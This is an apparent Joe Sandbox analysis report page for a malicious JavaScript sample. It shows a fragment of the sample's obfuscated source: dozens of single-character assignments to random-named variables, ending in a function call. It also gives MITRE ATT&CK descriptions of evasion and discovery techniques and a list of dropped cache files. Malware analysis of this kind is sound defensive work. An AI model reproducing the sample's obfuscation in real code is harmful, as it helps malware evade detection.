1334	ngwuxk = "Q";
1335	ngwuxk = "H";
1336	ngwuxk = "y";
1337	ngwuxk = "n";
1338	ngwuxk = "a";
1339	ngwuxk = "H";
1340	ngwuxk = "J";
1341	ngwuxk = "u";
1342	ngwuxk = "I";
1343	ngwuxk = "T";
1344	ngwuxk = "j";
1345	ngwuxk = "s";
1346	ngwuxk = "s";
1347	ngwuxk = "i";
1348	dwnmsquu = "y";
1349	dwnmsquu = "N";
1350	dwnmsquu = "f";
1351	dwnmsquu = "z";
1352	dwnmsquu = "B";
1353	dwnmsquu = "z";
1354	dwnmsquu = "M";
1355	dwnmsquu = "t";
1356	dwnmsquu = "X";
1357	dwnmsquu = "e";
1358	iygiwqebb = "y";
1359	iygiwqebb = "W";
1360	iygiwqebb = "m";
1361	iygiwqebb = "f";
1362	iygiwqebb = "y";
1363	iygiwqebb = "H";
1364	iygiwqebb = "r";
1365	iygiwqebb = "N";
1366	iygiwqebb = "a";
1367	iygiwqebb = "3";
1368	yewulusmi = "e";
1369	yewulusmi = "d";
1370	yewulusmi = "m";
1371	yewulusmi = "k";
1372	yewulusmi = "X";
1373	yewulusmi = "W";
1374	yewulusmi = "Y";
1375	yewulusmi = "y";
1376	yewulusmi = "l";
1377	yewulusmi = "p";
1378	yewulusmi = "I";
1379	yewulusmi = "N";
1380	kbnhwpx = "L";
1381	kbnhwpx = "X";
1382	kbnhwpx = "U";
1383	kbnhwpx = "u";
1384	kbnhwpx = "v";
1385	kbnhwpx = "Z";
1386	kbnhwpx = "U";
1387	kbnhwpx = "O";
1388	kbnhwpx = "Z";
1389	kbnhwpx = "n";
1390	kbnhwpx = "h";
1391	kbnhwpx = "l";
1392	kbnhwpx = "i";
1393	kbnhwpx = "u";
1394	kbnhwpx = "P";
1395	kbnhwpx = "y";
1396	kbnhwpx = "g";
1397	kbnhwpx = "M";
1398	kbnhwpx = "7";
1399	qtgguxq ( );	qtgguxq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2784527361260704938.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\08dc92ff-cdf1-4980-949f-7983c2d04740.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF477054.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ab6c34cc-caa7-4153-994e-286f9e4374d8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
2784527361260704938.js